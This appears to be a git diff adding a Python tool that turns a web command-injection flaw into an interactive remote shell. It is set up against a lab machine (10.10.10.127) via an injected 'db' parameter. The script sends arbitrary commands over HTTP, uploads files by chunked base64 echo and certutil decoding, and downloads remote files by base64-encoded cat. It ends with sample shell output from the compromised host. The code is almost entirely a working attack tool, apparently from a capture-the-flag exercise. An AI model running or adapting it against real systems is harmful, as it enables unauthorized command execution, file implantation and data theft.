|
| 1 | +#!/usr/bin/env python |
| 2 | +from __future__ import print_function |
| 3 | +# Author: Alamot |
| 4 | +# Status: WIP (Work In Progress) |
| 5 | +# |
| 6 | +# Define a variable rce like this: |
| 7 | +# rce = {"method":"POST", |
| 8 | +# "url":"http://10.10.10.127/select", |
| 9 | +# "data":"db=fortunes2%7C__RCE__%20%23", |
| 10 | +# "remote_os":"unix", |
| 11 | +# "timeout":30} |
| 12 | +# |
| 13 | +# Use __RCE__ to mark the command injection point. |
| 14 | +# |
| 15 | +# To upload a file type: UPLOAD local_path remote_path |
| 16 | +# e.g. UPLOAD myfile.txt /tmp/myfile.txt |
| 17 | +# If you omit the remote_path it uploads the file on the current working folder. |
| 18 | +# |
| 19 | +# To download a file: DOWNLOAD remote_path |
| 20 | +# e.g. $ DOWNLOAD \temp\myfile.txt |
| 21 | + |
| 22 | + |
| 23 | +import os |
| 24 | +import re |
| 25 | +import sys |
| 26 | +import uuid |
| 27 | +import copy |
| 28 | +import tqdm |
| 29 | +import shlex |
| 30 | +import base64 |
| 31 | +import hashlib |
| 32 | +import requests |
| 33 | +try: |
| 34 | + # Python 2.X |
| 35 | + from urllib import quote |
| 36 | + input = raw_input |
| 37 | +except ImportError: |
| 38 | + from urllib.parse import quote # Python 3+ |
| 39 | + |
| 40 | + |
| 41 | +DEBUG = False |
| 42 | +BUFFER_SIZE = 5000 |
| 43 | +# Redirect stderr to stdout? |
| 44 | +ERR2OUT = True |
| 45 | +# A unique sequence of characters that marks start/end of output. |
| 46 | +UNIQUE_SEQ = uuid.uuid4().hex[0:6] |
| 47 | +UNIX_TOOLS = {"b64enc": {"base64":"base64", |
| 48 | + "openssl":"openssl base64 -A"}, |
| 49 | + "b64dec": {"base64":"base64 -d", |
| 50 | + "openssl":"openssl base64 -A -d", |
| 51 | + "python":"python -m base64 -d"}, |
| 52 | + "md5sum": {"md5sum":"md5sum", |
| 53 | + "md5":"md5 -q"}} |
| 54 | + |
| 55 | + |
| 56 | +def memoize(function): |
| 57 | + memo = {} |
| 58 | + def wrapper(*args): |
| 59 | + if args in memo: |
| 60 | + return memo[args] |
| 61 | + else: |
| 62 | + rv = function(*args) |
| 63 | + memo[args] = rv |
| 64 | + return rv |
| 65 | + return wrapper |
| 66 | + |
| 67 | + |
| 68 | +def send_command(command, rce, enclose=False): |
| 69 | + try: |
| 70 | + client = requests.session() |
| 71 | + client.verify = False |
| 72 | + client.keep_alive = False |
| 73 | + if enclose: |
| 74 | + cmd = "echo " + UNIQUE_SEQ + ";" + command + ";echo " + UNIQUE_SEQ |
| 75 | + else: |
| 76 | + cmd = command |
| 77 | + if DEBUG: print(cmd) |
| 78 | + if rce["method"] == "GET": |
| 79 | + response = client.get(url, timeout=rce["timeout"]) |
| 80 | + elif rce["method"] == "POST": |
| 81 | + data = rce["data"].replace("__RCE__", quote(cmd)) |
| 82 | + headers = {"Content-Type":"application/x-www-form-urlencoded"} |
| 83 | + response = client.post(rce["url"], data=data, |
| 84 | + headers=headers, |
| 85 | + timeout=rce["timeout"]) |
| 86 | + if response.status_code != 200: |
| 87 | + print("Status: "+str(response.status_code)) |
| 88 | + if DEBUG: print(response.text) |
| 89 | + if enclose: |
| 90 | + return response.text.split(UNIQUE_SEQ)[1] |
| 91 | + else: |
| 92 | + return response |
| 93 | + except requests.exceptions.RequestException as e: |
| 94 | + print(str(e)) |
| 95 | + finally: |
| 96 | + if client: |
| 97 | + client.close() |
| 98 | + |
| 99 | + |
| 100 | +@memoize |
| 101 | +def find_tool(tool_type): |
| 102 | + for tool_name in sorted(UNIX_TOOLS[tool_type].keys()): |
| 103 | + cmd = "which " + tool_name + " && echo FOUND || echo FAILED" |
| 104 | + response = send_command(cmd, rce) |
| 105 | + if "FOUND" in response.text: |
| 106 | + return UNIX_TOOLS[tool_type][tool_name] |
| 107 | + return None |
| 108 | + |
| 109 | + |
| 110 | +def download(rce, remote_path): |
| 111 | + cmd = find_tool("md5sum") + " '" + remote_path + "'" |
| 112 | + response = send_command(cmd, rce, enclose=True) |
| 113 | + remote_md5sum = response.strip()[:32] |
| 114 | + cmd = "cat '" + remote_path + "' | " + find_tool("b64enc") |
| 115 | + b64content = send_command(cmd, rce, enclose=True) |
| 116 | + content = base64.decodestring(b64content) |
| 117 | + local_md5sum = hashlib.md5(content).hexdigest() |
| 118 | + print("Remote md5sum: " + remote_md5sum) |
| 119 | + print(" Local md5sum: " + local_md5sum) |
| 120 | + if local_md5sum == remote_md5sum: |
| 121 | + print(" MD5 hashes match!") |
| 122 | + else: |
| 123 | + print(" ERROR! MD5 hashes do NOT match!") |
| 124 | + with open(os.path.basename(remote_path), "w") as f: |
| 125 | + f.write(content) |
| 126 | + |
| 127 | + |
| 128 | +def upload(rce, local_path, remote_path): |
| 129 | + print("Uploading "+local_path+" to "+remote_path) |
| 130 | + if rce["remote_os"] == "unix": |
| 131 | + cmd = "> '" + remote_path + ".b64'" |
| 132 | + elif rce["remote_os"] == "windows": |
| 133 | + cmd = 'type nul > "' + remote_path + '.b64"' |
| 134 | + send_command(cmd, rce) |
| 135 | + |
| 136 | + with open(local_path, 'rb') as f: |
| 137 | + data = f.read() |
| 138 | + md5sum = hashlib.md5(data).hexdigest() |
| 139 | + b64enc_data = "".join(base64.encodestring(data).split()) |
| 140 | + |
| 141 | + print("Data length (b64-encoded): "+str(len(b64enc_data)/1024)+"KB") |
| 142 | + for i in tqdm.tqdm(range(0, len(b64enc_data), BUFFER_SIZE), unit_scale=BUFFER_SIZE/1024, unit="KB"): |
| 143 | + cmd = 'echo ' + b64enc_data[i:i+BUFFER_SIZE] + ' >> "' + remote_path + '.b64"' |
| 144 | + send_command(cmd, rce) |
| 145 | + #print("Remaining: "+str(len(b64enc_data)-i)) |
| 146 | + |
| 147 | + if rce["remote_os"] == "unix": |
| 148 | + cmd = "cat '" + remote_path + ".b64' | " + find_tool("b64dec") + " > '" + remote_path + "'" |
| 149 | + send_command(cmd, rce) |
| 150 | + cmd = find_tool("md5sum") + " '" + remote_path + "'" |
| 151 | + response = send_command(cmd, rce) |
| 152 | + elif rce["remote_os"] == "windows": |
| 153 | + cmd = 'certutil -decode "' + remote_path + '.b64" "' + remote_path + '"' |
| 154 | + send_command(cmd, rce) |
| 155 | + cmd = 'certutil -hashfile "' + remote_path + '" MD5' |
| 156 | + response = send_command(cmd, rce) |
| 157 | + if md5sum in response.text: |
| 158 | + print(" MD5 hashes match: " + md5sum) |
| 159 | + else: |
| 160 | + print(" ERROR! MD5 hashes do NOT match!") |
| 161 | + |
| 162 | + |
| 163 | +def shell(rce): |
| 164 | + global DEBUG |
| 165 | + stored_cwd = None |
| 166 | + user_input = None |
| 167 | + if rce["remote_os"] == "unix": |
| 168 | + get_info = "whoami;hostname;pwd" |
| 169 | + elif rce["remote_os"] == "windows": |
| 170 | + get_info = 'echo %username%^|%COMPUTERNAME% & cd' |
| 171 | + while True: |
| 172 | + cmd = "" |
| 173 | + if stored_cwd: |
| 174 | + cmd += "cd " + stored_cwd + ";" |
| 175 | + if user_input: |
| 176 | + cmd += user_input |
| 177 | + cmd += " 2>&1;" if ERR2OUT else ";" |
| 178 | + cmd += get_info |
| 179 | + response = send_command(cmd, rce, enclose=True) |
| 180 | + lines = response.splitlines() |
| 181 | + user, host, cwd = lines[-3:] |
| 182 | + stored_cwd = cwd |
| 183 | + for output in lines[1:-3]: |
| 184 | + print(output) |
| 185 | + user_input = input("[" + user + "@" + host + " " + cwd + "]$ ").rstrip("\n") |
| 186 | + if user_input.lower().strip() == "exit": |
| 187 | + return |
| 188 | + elif user_input[:8] == "DEBUG ON": |
| 189 | + DEBUG = True |
| 190 | + user_input = "echo 'DEBUG is now ON'" |
| 191 | + elif user_input[:9] == "DEBUG OFF": |
| 192 | + DEBUG = False |
| 193 | + user_input = "echo 'DEBUG is now OFF'" |
| 194 | + elif user_input[:8] == "DOWNLOAD": |
| 195 | + remote_path = shlex.split(user_input, posix=False)[1] |
| 196 | + if remote_path[0] != '/': |
| 197 | + remote_path = stored_cwd + "/" + remote_path |
| 198 | + download(rce, remote_path) |
| 199 | + user_input = "echo ' ***** DOWNLOAD FINISHED *****'" |
| 200 | + elif user_input[:6] == "UPLOAD": |
| 201 | + upload_cmd = shlex.split(user_input, posix=False) |
| 202 | + local_path = upload_cmd[1] |
| 203 | + if len(upload_cmd) < 3: |
| 204 | + remote_path = stored_cwd + "/" + os.path.basename(local_path) |
| 205 | + upload(rce, local_path, remote_path) |
| 206 | + else: |
| 207 | + remote_path = upload_cmd[2] |
| 208 | + if remote_path[0] != '/': |
| 209 | + remote_path = stored_cwd + "/" + remote_path |
| 210 | + upload(rce, local_path, remote_path) |
| 211 | + user_input = "echo ' ***** UPLOAD FINISHED *****'" |
| 212 | + |
| 213 | + |
| 214 | +rce = {"method":"POST", |
| 215 | + "url":"http://10.10.10.127/select", |
| 216 | + "data":"db=fortunes2%7C__RCE__%20%23", |
| 217 | + "remote_os":"unix", |
| 218 | + "timeout":30} |
| 219 | + |
| 220 | +shell(rce=rce) |
| 221 | +sys.exit() |
| 222 | + |
| 223 | + |
| 224 | +''' |
| 225 | +EXAMPLE: |
| 226 | +$ python rce2shell.py |
| 227 | +[[email protected] /var/appsrv/fortune]$ ls -al |
| 228 | +total 104 |
| 229 | +drwxr-xr-x 4 _fortune _fortune 512 Feb 3 05:08 . |
| 230 | +drwxr-xr-x 5 root wheel 512 Nov 2 2018 .. |
| 231 | +drwxrwxrwx 2 _fortune _fortune 512 Nov 2 2018 __pycache__ |
| 232 | +-rw-r--r-- 1 root _fortune 341 Nov 2 2018 fortuned.ini |
| 233 | +-rw-r----- 1 _fortune _fortune 35638 Aug 3 06:00 fortuned.log |
| 234 | +-rw-rw-rw- 1 _fortune _fortune 6 Aug 3 03:13 fortuned.pid |
| 235 | +-rw-r--r-- 1 root _fortune 413 Nov 2 2018 fortuned.py |
| 236 | +drwxr-xr-x 2 root _fortune 512 Nov 2 2018 templates |
| 237 | +-rw-r--r-- 1 root _fortune 67 Nov 2 2018 wsgi.py |
| 238 | +''' |
0 commit comments